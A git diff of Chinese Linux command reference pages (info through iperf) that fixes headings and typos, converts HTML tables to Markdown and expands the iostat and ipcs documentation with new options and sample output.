b/command/info.md index fdad458e49a..0224e9b7f4f 100644 --- a/command/info.md +++ b/command/info.md @@ -9,13 +9,13 @@ Linux下info格式的帮助指令 就内容来说,info页面比man page编写得要更好、更容易理解,也更友好,但man page使用起来确实要更容易得多。一个man page只有一页,而info页面几乎总是将它们的内容组织成多个区段(称为节点),每个区段也可能包含子区段(称为子节点)。理解这个命令的窍门就是不仅要学习如何在单独的Info页面中浏览导航,还要学习如何在节点和子节点之间切换。可能刚开始会一时很难在info页面的节点之间移动和找到你要的东西,真是具有讽刺意味:原本以为对于新手来说,某个东西比man命令会更好些,但实际上学习和使用起来更困难。 -### 语法 +### 语法 ```shell info(选项)(参数) ``` -### 选项 +### 选项 ```shell -d:添加包含info格式帮助文档的目录; @@ -24,11 +24,11 @@ info(选项)(参数) -o:输出被选择的节点内容到指定文件。 ``` -### 参数 +### 参数 帮助主题:指定需要获得帮助的主题,可以是指令、函数以及配置文件。 -### 实例 +### 实例 在info后面输入命令的名称就可以查看该命令的info帮助文档了: @@ -72,11 +72,10 @@ info info **Del 键** 上一页(PageUp 也可以,上一页从当前页的开始两行开始算起) 上一个 Node (若当前页 Node 文档的开始) - **b 或 t 或 Home** 文档的开始(b 是 begining 的意思) + **b 或 t 或 Home** 文档的开始(b 是 beginning 的意思) **e 或 End** 文档的末尾(b 是 ending 的意思) **Ctrl-l** 刷新当前页,若当前文档显示情况有问题时 **Ctrl-g** 取消所键入的指令 ``` - \ No newline at end of file diff --git a/command/init.md b/command/init.md index 40869415773..14a0cabcb08 100644 --- a/command/init.md +++ b/command/init.md @@ -7,24 +7,24 @@ init进程是所有Linux进程的父进程 **init命令** 是Linux下的进程初始化工具,init进程是所有Linux进程的父进程,它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一,init进程是Linux内核引导运行的,是系统中的第一个进程。 -### 语法 +### 语法 ```shell init(选项)(参数) ``` -### 选项 +### 选项 ```shell -b:不执行相关脚本而直接进入单用户模式; -s:切换到单用户模式。 ``` -### 参数 +### 参数 运行等级:指定Linux系统要切换到的运行等级。 -### 实例 +### 实例 几个常用的命令 @@ -47,4 +47,3 @@ init(选项)(参数) ``` - \ No newline at end of file diff --git a/command/inotifywait.md b/command/inotifywait.md index 50393790205..0592c2c7435 100644 --- a/command/inotifywait.md +++ b/command/inotifywait.md @@ -26,7 +26,7 @@ total 0 -rw-r--r-- 1 root root 0 Jan 4 15:41 max_user_watches ``` -### 安装inotify-tools +### 安装inotify-tools * inotify-tools项目地址:https://github.com/rvoicilas/inotify-tools * inotify-tools下载地址:http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz @@ -42,7 +42,7 @@ make install 其他Linux发行版安装方法可以参见:https://github.com/rvoicilas/inotify-tools/wiki#wiki-getting -### inotify相关参数 +### inotify相关参数 inotify定义了下列的接口参数,可以用来限制inotify消耗kernel memory的大小。由于这些参数都是内存参数,因此,可以根据应用需求,实时的调节其大小: @@ -69,7 +69,7 @@ inotifywait: error while loading shared libraries: libinotifytools.so.0: cannot 64位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib64/libinotifytools.so.0 ``` -### inotifywait命令使用 +### inotifywait命令使用 ```shell #!/bin/bash @@ -97,7 +97,7 @@ path=$1 04/01/13/16:35 /data/wsdata/tools/ .j.jsp.swp ``` -### inotifywait命令参数 +### inotifywait命令参数 * `-m`是要持续监视变化。 * `-r`使用递归形式监视目录。 @@ -106,48 +106,16 @@ path=$1 * `--timefmt`是指定时间的输出格式。 * `--format`指定文件变化的详细信息。 -#### 可监听的事件 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
事件描述
access **访问** ,读取文件。
modify **修改** ,文件内容被修改。
attrib **属性** ,文件元数据被修改。
move **移动** ,对文件进行移动操作。
create **创建** ,生成新文件
open **打开** ,对文件进行打开操作。
close **关闭** ,对文件进行关闭操作。
delete **删除** ,文件被删除。
- - - \ No newline at end of file +### 可监听的事件 + +事件 | 描述 +--- | --- +access | **访问** ,读取文件。 +modify | **修改** ,文件内容被修改。 +attrib | **属性** ,文件元数据被修改。 +move | **移动** ,对文件进行移动操作。 +create | **创建** ,生成新文件 +open | **打开** ,对文件进行打开操作。 +close | **关闭** ,对文件进行关闭操作。 +delete | **删除** ,文件被删除。 + diff --git a/command/insmod.md b/command/insmod.md index 717c5456305..b00addbe696 100644 --- a/command/insmod.md +++ b/command/insmod.md @@ -7,13 +7,13 @@ insmod **insmod命令** 用于将给定的模块加载到内核中。Linux有许多功能是通过模块的方式,在需要时才载入kernel。如此可使kernel较为精简,进而提高效率,以及保有较大的弹性。这类可载入的模块,通常是设备驱动程序。 -### 语法 +### 语法 ```shell insmod(选项)(参数) ``` -### 选项 +### 选项 ```shell -f:不检查目前kernel版本与模块编译时的kernel版本是否一致,强制将模块载入; @@ -27,11 +27,11 @@ insmod(选项)(参数) -X:汇出模块所有的外部符号,此为预设置。 ``` -### 参数 +### 参数 内核模块:指定要加载的内核模块文件。 -### 实例 +### 实例 加载RAID1阵列级别模块,如下所示: @@ -46,4 +46,3 @@ raid1 25153 0 从以上显示结果可知,RAID1模块已加载成功。只是在使用insmod命令加载模块时,需要使用绝对路径方能加载,且加载时无法自动解决依赖关系。 - \ No newline at end of file diff --git a/command/install.md b/command/install.md index 565816be513..f06c969a0f4 100644 --- a/command/install.md +++ b/command/install.md @@ -7,7 +7,7 @@ install **install命令** 的作用是安装或升级软件或备份数据,它的使用权限是所有用户。install命令和cp命令类似,都可以将文件/目录拷贝到指定的地点。但是,install允许你控制目标文件的属性。install通常用于程序的makefile,使用它来将程序拷贝到目标(安装)目录。 -### 语法 +### 语法 ```shell install [OPTION]... [-T] SOURCE DEST @@ -18,7 +18,7 @@ install [OPTION]... -d DIRECTORY... 在前两种格式中,会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>,同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。 -### 选项 +### 选项 ```shell --backup[=CONTROL]:为每个已存在的目的地文件进行备份。 @@ -37,7 +37,7 @@ install [OPTION]... -d DIRECTORY... --version:显示版本信息并离开。 ``` -### 实例 +### 实例 ```shell install -d [option] DIRECTORY [DIRECTORY...] @@ -78,4 +78,3 @@ install a/* d 其中d是目录。 - \ No newline at end of file diff --git a/command/iostat.md b/command/iostat.md index c7c06637e15..b90088c5248 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -7,116 +7,178 @@ iostat **iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。 -### 语法 +iowait 指在一个采样周期内有百分之几的时间是属于以下情况:CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。 -```shell +## 安装 iostat + +iostat包含在**sysstat**包内。如果你没有,你首先需要安装它。 +在 RedHat / CentOS / Fedora + +```bash +yum install sysstat +``` + +在 Debian / Ubuntu / Linux Mint + +```bash +sudo apt-get install sysstat +``` + +## 语法 + +```bash iostat(选项)(参数) ``` -### 选项 - -```shell --c:仅显示CPU使用情况; --d:仅显示设备利用率; --k:显示状态以千字节每秒为单位,而不使用块每秒; --m:显示状态以兆字节每秒为单位; --p:仅显示块设备和所有被使用的其他分区的状态; --t:显示每个报告产生时的时间; --V:显示版号并退出; --x:显示扩展状态。 +### 选项 + +```bash +# iostat --help +Usage: iostat [ options ] [ [ ] ] +Options are: +[ -c ] [ -d ] [ -h ] [ -k | -m ] [ -N ] [ -s ] [ -t ] [ -V ] [ -x ] [ -y ] [ -z ] +[ -j { ID | LABEL | PATH | UUID | ... } ] [ --human ] [ -o JSON ] +[ [ -H ] -g ] [ -p [ [,...] | ALL ] ] ``` -### 参数 +参数说明: +``` +-c 输出CPU统计信息。不能与-d参数同时使用。 +-d 输出设备和分区的I/O统计信息。不能与-c参数同时使用。(默认的参数是-d)。 +-h 让人类更容易阅读设备使用情况报告。--human使用此选项隐式启用。 +-k 用“kbytes/秒”代替“块/秒”显示统计信息。 +-m 用“mbytes/秒”代替“块/秒”显示统计信息。 +-t 打印显示的每份报告的时间。 +-V 显示版本号并退出。 +-x 显示扩展统计信息。不能与参数-p同时使用。 +-y 如果在给定时间间隔内显示多条记录,则省略自系统启动以来的第一份统计报告。 +-z 告诉 iostat 忽略在样本期间没有活动的设备的输出。 +-j 显示持久的设备名称。选项ID、LABEL等指定持久名称的类型。 +--human 以人类可读格式打印大小(例如1.0k, 1.2M等)。使用此选项显示的单位取代与度量相关的任何其他默认单位(例如千字节,扇区…)。 +-o 以JSON (Javascript Object Notation)格式显示统计数据。JSON输出字段顺序未定义,未来可能会添加新字段。 +-H 该选项必须与-g一起使用,表示只显示组的全局统计信息,而不显示组中单个设备的统计信息。 +-p 选项显示系统使用的块设备及其所有分区的统计信息。如果在命令行中输入一个设备名,那么将显示该设备及其所有分区的统计信息。最后,ALL关键字表示必须显示系统定义的所有块设备和分区的统计信息,包括那些从未使用过的设备和分区。如果在此选项之前定义了选项-j,则可以使用所选的持久名称类型指定在命令行上输入的设备。 +``` + +### 参数 + +interval 刷新时间间隔 +count 刷新次数 + +## 运行示例 + +### 示例1 + +```bash +# iostat +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) + +avg-cpu: %user %nice %system %iowait %steal %idle + 3.30 0.01 1.90 0.12 0.00 94.68 + +Device tps kB_read/s kB_wrtn/s kB_read kB_wrtn +vda 7.85 84.22 36.59 1081853831 470049100 + +``` + +第一部分包含了CPU报告 + +| 性能指标 | 含义 | +| --- | --- | +| %user | 显示在用户级(应用程序)执行时发生的CPU利用率百分比。 | +| %nice | 显示在具有nice优先级的用户级别执行时发生的CPU利用率百分比。 | +| %system | 显示在系统级(内核)执行时发生的CPU利用率百分比。 | +| %iowait | 显示在系统有未完成的磁盘I/O请求期间CPU空闲的时间百分比。 | +| %steal | 显示虚拟机监控程序为另一个虚拟处理器提供服务时,一个或多个虚拟CPU在非自愿等待上花费的时间百分比。 | +| %idle | 显示CPU空闲且系统没有未完成的磁盘I/O请求的时间百分比。 | + +第二部分包含了设备利用率报告 + +| 性能指标 | 含义 | +| --- | --- | +| Device | 此列给出了 /dev 目录中列出的设备(或分区)名称。 | +| tps | 表示每秒向设备发出的传输次数。传输是对设备的 I/O 请求。多个逻辑请求可合并为对设备的一个 I/O 请求。传输大小不确定。 | +| kB_read/s | 表示每秒从设备读取的数据量,以块数(千字节、兆字节)表示。块相当于扇区,因此大小为 512 字节。 | +| kB_wrtn/s | 表示写入设备的数据量,以每秒块数(千字节、兆字节)表示。 | +| kB_read | 读取的数据块总数(千字节、兆字节)。 | +| kB_wrtn | 写入的数据块总数(千字节、兆字节)。 | + +### 示例2 + +以更友好的显示方式显示 IO 信息,使用`-y`忽略第一份统计。并每隔 1 秒重新一次,共5次。 + +```bash +# iostat -hdy 1 5 +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) + + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 64.00 288.0k 308.0k 288.0k 308.0k vda + + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 12.00 0.0k 84.0k 0.0k 84.0k vda + + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 15.00 0.0k 36.0k 0.0k 36.0k vda + + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 28.00 0.0k 76.0k 0.0k 76.0k vda + + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 11.00 0.0k 100.0k 0.0k 100.0k vda + +``` + +### 示例3 + +```bash +# iostat -xd 1 +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) + +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 4.64 3.21 84.14 36.59 0.28 1.07 5.64 25.01 5.86 8.23 0.05 18.12 11.41 0.44 0.34 -* 间隔时间:每次报告的间隔时间(秒); -* 次数:显示报告的次数。 +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 2.00 0.20 -### 实例 +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 37.00 0.00 395.50 0.00 10.00 0.00 21.28 0.00 0.92 0.03 0.00 10.69 0.11 0.40 -用`iostat -x /dev/sda1`来观看磁盘I/O的详细情况: +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -```shell -iostat -x /dev/sda1 -Linux 2.6.18-164.el5xen (localhost.localdomain) -2010年03月26日 +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -avg-cpu: %user %nice %system %iowait -%steal %idle - 0.11 0.02 0.18 0.35 -0.03 99.31 +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 1.00 0.10 -Device: tps Blk_read/s Blk_wrtn/s -Blk_read Blk_wrtn -sda1 0.02 0.08 -0.00 2014 4 ``` -详细说明:第二行是系统信息和监测时间,第三行和第四行显示CPU使用情况(具体内容和mpstat命令相同)。这里主要关注后面I/O输出的信息,如下所示: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
标示说明
Device监测设备名称
rrqm/s每秒需要读取需求的数量
wrqm/s每秒需要写入需求的数量
r/s 每秒实际读取需求的数量
w/s每秒实际写入需求的数量
rsec/s每秒读取区段的数量
wsec/s每秒写入区段的数量
rkB/s每秒实际读取的大小,单位为KB
wkB/s每秒实际写入的大小,单位为KB
avgrq-sz需求的平均大小区段
avgqu-sz需求的平均队列长度
await等待I/O平均的时间(milliseconds)
svctmI/O需求完成的平均时间
%util被I/O需求消耗的CPU百分比
- - - \ No newline at end of file +从这里你可以看到,iostat 提供了非常丰富的性能指标。第一列的 Device 表示磁盘设备的名字,其他各列指标,虽然数量较多,但是每个指标的含义都很重要。 + +| 性能指标 | 含义 | +| --- | --- | +| r/s | 设备每秒完成的读取请求数(合并后)。 | +| w/s | 设备每秒完成的写入请求数(合并后)。 | +| rkB/s | 每秒从设备读取的扇区数(千字节、兆字节)。 | +| wkB/s | 每秒写入设备的扇区数(千字节、兆字节)。 | +| rrqm/s | 每秒合并到设备的排队 I/O 请求数。 | +| wrqm/s | 每秒合并到设备的写入请求数。 | +| %rrqm | 在发送到设备之前合并在一起的读取请求的百分比。 | +| %wrqm | 发送到设备前合并在一起的写入请求的百分比。 | +| r_await | 向设备发出的读取请求获得服务的平均时间(毫秒)。这包括请求在队列中花费的时间和为请求提供服务的时间。 | +| w_await | 向待服务设备发出写入请求的平均时间(毫秒)。这包括请求在队列中花费的时间和为请求提供服务的时间。 | +| aqu-sz | 向设备发出的请求的平均队列长度。注意:在以前的版本中,该字段被称为 avgqu-sz。 | +| rareq-sz | 向设备发出的读取请求的平均大小(千字节)。 | +| wareq-sz | 向设备发出的写入请求的平均大小(千字节)。 | +| svctm | 向设备发出的 I/O 请求的平均服务时间(毫秒)。警告!不要再相信这个字段了。 未来的 sysstat 版本将删除此字段。 | +| %util | 向设备发出 I/O 请求所用时间的百分比(设备带宽利用率)。 对于串行服务请求的设备,当该值接近 100%,设备就会饱和。 但对于以并行方式提供请求的设备,如 RAID 阵列和现代固态硬盘,该数值并不能反映其性能极限。 | + +当 %iowait 升高,需要重点关注以下指标: + +- avgrq-sz: 向设备发出请求的平均大小(单位:扇区) +- avgqu-sz: 向设备发出请求的队列平均长度。也是个做 IO 调优时需要注意的地方,这个就是直接每次操作的数据的大小,如果次数多,但数据拿的小的话,其实 IO 也会很小.如果数据拿的大,IO 的数据会高 +- r_await: 向服务设备发出读取请求的平均时间(单位:毫秒)。包括请求入队的时间以及设备处理请求的时间 +- w_await: 向服务设备发出写请求的平均时间(单位:毫秒)。包括请求入队的时间以及设备处理请求的时间 +- %util:一秒中有百分之多少的时间用于 I/O 操作,或者说一秒中有多少时间 I/O 队列是非空的。如果 %util 接近 100%,说明产生的I/O请求太多,I/O系统已经满负荷,该磁盘可能存在瓶颈 +- %svctm:平均每次设备 I/O 操作的服务时间 (毫秒)。一般要小于 await (因为同时等待的请求的等待时间被重复计算了),svctm 的大小一般和磁盘性能有关,CPU/内存的负荷也会对其有影响,请求过多也会间接导致 svctm 的增加。await 的大小一般取决于服务时间(svctm) 以及 I/O 队列的长度和 I/O 请求的发出模式。如果 svctm 比较接近 await,说明 I/O 几乎没有等待时间;如果 await 远大于 svctm,说明 I/O 队列太长,应用得到的响应时间变慢,如果响应时间超过了用户可以容许的范围,这时可以考虑更换更快的磁盘,调整内核 elevator 算法,优化应用,或者升级 CPU diff --git a/command/iotop.md b/command/iotop.md index 9e30a041994..916e834b548 100644 --- a/command/iotop.md +++ b/command/iotop.md @@ -9,7 +9,7 @@ iotop iotop使用Python语言编写而成,要求Python2.5(及以上版本)和Linux kernel2.6.20(及以上版本)。iotop提供有源代码及rpm包,可从其官方主页下载。 -### 安装 +### 安装 **Ubuntu** @@ -32,13 +32,13 @@ python setup.py build python setup.py install ``` -### 语法 +### 语法 ```shell iotop(选项) ``` -### 选项 +### 选项 ```shell -o:只显示有io操作的进程 @@ -58,7 +58,7 @@ iotop(选项) 5. a:显示累积使用量。 6. q:退出。 -### 实例 +### 实例 直接执行iotop就可以看到效果了: @@ -80,4 +80,3 @@ Total DISK read: 0.00 B/s | Total DISK write: 0.00 B/s ``` - \ No newline at end of file diff --git a/command/ip.md b/command/ip.md index aff8a38c07a..a4112e81d1a 100644 --- a/command/ip.md +++ b/command/ip.md @@ -7,15 +7,15 @@ ip **ip命令** 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道,是Linux下较新的功能强大的网络配置工具。 -### 语法 +### 语法 ```shell -ip(选项)(参数) +ip(选项)(对象) Usage: ip [ OPTIONS ] OBJECT { COMMAND | help } ip [ -force ] -batch filename ``` -### 选项 +### 对象 ```shell OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | @@ -31,7 +31,7 @@ OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | -r:显示主机时,不使用IP地址,而使用主机的域名。 ``` -### 参数 +### 选项 ```shell OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | @@ -47,19 +47,19 @@ OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | help:显示网络对象支持的操作命令的帮助信息。 ``` -### 实例 +### 实例 -```shellbash -ip link show # 显示网络接口信息 +```shell +ip link show # 显示网络接口信息 ip link set eth0 up # 开启网卡 ip link set eth0 down # 关闭网卡 ip link set eth0 promisc on # 开启网卡的混合模式 -ip link set eth0 promisc offi # 关闭网卡的混个模式 +ip link set eth0 promisc offi # 关闭网卡的混合模式 ip link set eth0 txqueuelen 1200 # 设置网卡队列长度 ip link set eth0 mtu 1400 # 设置网卡最大传输单元 ip addr show # 显示网卡IP信息 -ip addr add 192.168.0.1/24 dev eth0 # 设置eth0网卡IP地址192.168.0.1 -ip addr del 192.168.0.1/24 dev eth0 # 删除eth0网卡IP地址 +ip addr add 192.168.0.1/24 dev eth0 # 为eth0网卡添加一个新的IP地址192.168.0.1 +ip addr del 192.168.0.1/24 dev eth0 # 为eth0网卡删除一个IP地址192.168.0.1 ip route show # 显示系统路由 ip route add default via 192.168.1.254 # 设置系统默认路由 @@ -130,7 +130,7 @@ default via 112.124.15.247 dev eth1 **获取主机所有网络接口** ```shell -ip link | grep ^[0-9] | awk -F: '{print $2}' +ip link | grep -E '^[0-9]' | awk -F: '{print $2}' ``` - + diff --git a/command/ip6tables-restore.md b/command/ip6tables-restore.md index 42a651483bc..7c132aca313 100644 --- a/command/ip6tables-restore.md +++ b/command/ip6tables-restore.md @@ -7,13 +7,13 @@ ip6tables-restore **ip6tables-restore命令** 用来还原ip6tables表。 -### 语法 +### 语法 ```shell ip6tables-restore(选项) ``` -### 选项 +### 选项 ```shell -c:指定在还原iptables表时,还原当前的数据包计数器和字节计数器值; @@ -21,4 +21,3 @@ ip6tables-restore(选项) ``` - \ No newline at end of file diff --git a/command/ip6tables-save.md b/command/ip6tables-save.md index 6b1299e039c..8d63c6786dd 100644 --- a/command/ip6tables-save.md +++ b/command/ip6tables-save.md @@ -7,13 +7,13 @@ ip6tables-save **ip6tables-save命令** 将Linux内核中ip6tables表导出到标准输出设备上。 -### 语法 +### 语法 ```shell ip6tables-save(选项) ``` -### 选项 +### 选项 ```shell -c:指定在保存iptables表时,保存当前的数据包计数器和字节计数器值; @@ -21,4 +21,3 @@ ip6tables-save(选项) ``` - \ No newline at end of file diff --git a/command/ip6tables.md b/command/ip6tables.md index f1cee16d72e..cc138a3b31a 100644 --- a/command/ip6tables.md +++ b/command/ip6tables.md @@ -7,13 +7,13 @@ linux中防火墙软件 **ip6tables命令** 和iptables一样,都是linux中防火墙软件,不同的是ip6tables采用的TCP/ip协议为IPv6。 -### 语法 +### 语法 ```shell ip6tables(选项) ``` -### 选项 +### 选项 ```shell -t<表>:指定要操纵的表; @@ -35,7 +35,7 @@ ip6tables(选项) -c<计数器>:在执行插入操作(insert),追加操作(append),替换操作(replace)时初始化包计数器和字节计数器。 ``` -### 实例 +### 实例 在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置: @@ -203,4 +203,3 @@ IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6 ``` - \ No newline at end of file diff --git a/command/ipcalc.md b/command/ipcalc.md index 0880f02c377..fd3e334b2ef 100644 --- a/command/ipcalc.md +++ b/command/ipcalc.md @@ -7,13 +7,13 @@ ipcalc **ipcalc命令** 是一个简单的ip地址计算器,可以完成简单的IP地址计算任务。 -### 语法 +### 语法 ```shell ipcalc(选项) ``` -### 选项 +### 选项 ```shell -b:由给定的IP地址和网络掩码计算出广播地址; @@ -25,7 +25,7 @@ ipcalc(选项) --help:显示帮助信息。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# ipcalc -p 192.168.2.1 255.255.255.0 @@ -48,4 +48,3 @@ NETWORK=192.168.2.0 ``` - \ No newline at end of file diff --git a/command/ipcrm.md b/command/ipcrm.md index 6b351f91b40..7312a43fb5a 100644 --- a/command/ipcrm.md +++ b/command/ipcrm.md @@ -7,13 +7,13 @@ ipcrm **ipcrm命令** 用来删除一个或更多的消息队列、信号量集或者共享内存标识。 -### 语法 +### 语法 ```shell ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ] ``` -### 选项 +### 选项 ```shell -m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。 @@ -26,7 +26,7 @@ ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q Message msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到。 -### 示例 +### 示例 如果要删除和 SharedMemoryID 18602 相关的共享内存段,请输入: @@ -35,4 +35,3 @@ ipcrm -m 18602 ``` - \ No newline at end of file diff --git a/command/ipcs.md b/command/ipcs.md index e2ccc066c52..180b656b255 100644 --- a/command/ipcs.md +++ b/command/ipcs.md @@ -1,38 +1,63 @@ ipcs === -分析消息队列共享内存和信号量 +分析消息队列共享内存和信号量 ## 补充说明 **ipcs命令** 用于报告Linux中进程间通信设施的状态,显示的信息包括消息列表、共享内存和信号量的信息。 -### 语法 +### 语法 ```shell ipcs(选项) ``` -### 选项 +### 选项 + +#### 资源选项 + +```shell +-a, --all 显示全部(默认值) +-q, --queues 消息队列 +-m, --shmems 共享内存 +-s, --semaphores 信号量 +``` + +#### 输出选项 ```shell --a:显示全部可显示的信息; --q:显示活动的消息队列信息; --m:显示活动的共享内存信息; --s:显示活动的信号量信息。 +-t, --time 显示最后一次操作时间 +-p, --pid 显示创建者和最后一次操作者的PID +-c, --creator 显示创建者和拥有者的 userid, groupid +-l, --limits 显示对资源的限制 +-u, --summary 显示当前状态摘要 +--human 以友好的方式显示大小(eg: 500K) +-b, --bytes 以字节为单位显示大小(仅影响`-l`选项) ``` -### 实例 +#### 通用选项 + +```shell +-i, --id 显示指定ID的资源 +-h, --help 显示帮助文档并退出 +-V, --version 显示版本信息并退出 +``` + +### 实例 ```shell ipcs -a ------ Shared Memory Segments -------- -key shmid owner perms bytes nattch status -0x7401833d 2654208 root 600 4 0 -0x00000000 3145729 root 600 4194304 9 dest -0x7401833c 2621442 root 600 4 0 +key shmid owner perms bytes nattch status +0x7401833d 2654208 root 600 4 0 +0x00000000 3145729 root 600 4194304 9 dest +0x7401833c 2621442 root 600 4 0 0xd201012b 3080195 root 600 1720 2 ``` +### 相关命令 + +* `ipcrm`: 删除 IPC 资源 +* `ipcmk`: 创建 IPC 资源 - \ No newline at end of file diff --git a/command/iperf.md b/command/iperf.md index 68724447ea7..bf0428e7a26 100644 --- a/command/iperf.md +++ b/command/iperf.md @@ -11,7 +11,7 @@ iperf分为两种版本,Unix/Linux版和Windows版,Unix/Linux版更新比较 Linux版本下载地址:http://code.google.com/p/iperf/downloads/list -### 安装iperf +### 安装iperf 对于windows版的iperf,直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可,对于linux版的iperf,请使用如下命令安装: @@ -23,173 +23,84 @@ make make install ``` -### 选项 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
命令行选项描述
客户端与服务器共用选项
-f, --format [bkmaBKMA]格式化带宽数输出。支持的格式有: -'b' = bits/sec 'B' = Bytes/sec -'k' = Kbits/sec 'K' = KBytes/sec -'m' = Mbits/sec 'M' = MBytes/sec -'g' = Gbits/sec 'G' = GBytes/sec -'a' = adaptive bits/sec 'A' = adaptive Bytes/sec -自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。 -注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。
-i, --interval #设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。
-l, --len #[KM]设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。
-m, --print_mss输出TCP MSS值(通过TCP_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况
-p, --port #设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。
-u, --udp使用UDP方式而不是TCP方式。参看-b选项。
-w, --window #[KM]设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。
-B, --bind host绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。
-C, --compatibility与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。
-M, --mss #ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。
-N, --nodelay设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。
-V (from v1.6 or higher)绑定一个IPv6地址。 -服务端:$ iperf -s –V -客户端:$ iperf -c -V -注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。
服务器端专用选项
-s, --serverIperf服务器模式
-D (v1.2或更高版本)Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。
-R(v1.2或更高版本,仅用于Windows)卸载Iperf服务(如果它在运行)。
-o(v1.2或更高版本,仅用于Windows)重定向输出到指定文件
-c, --client host如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
-P, --parallel #服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。
客户端专用选项
-b, --bandwidth #[KM]UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。
-c, --client host运行Iperf的客户端模式,连接到指定的Iperf服务器端。
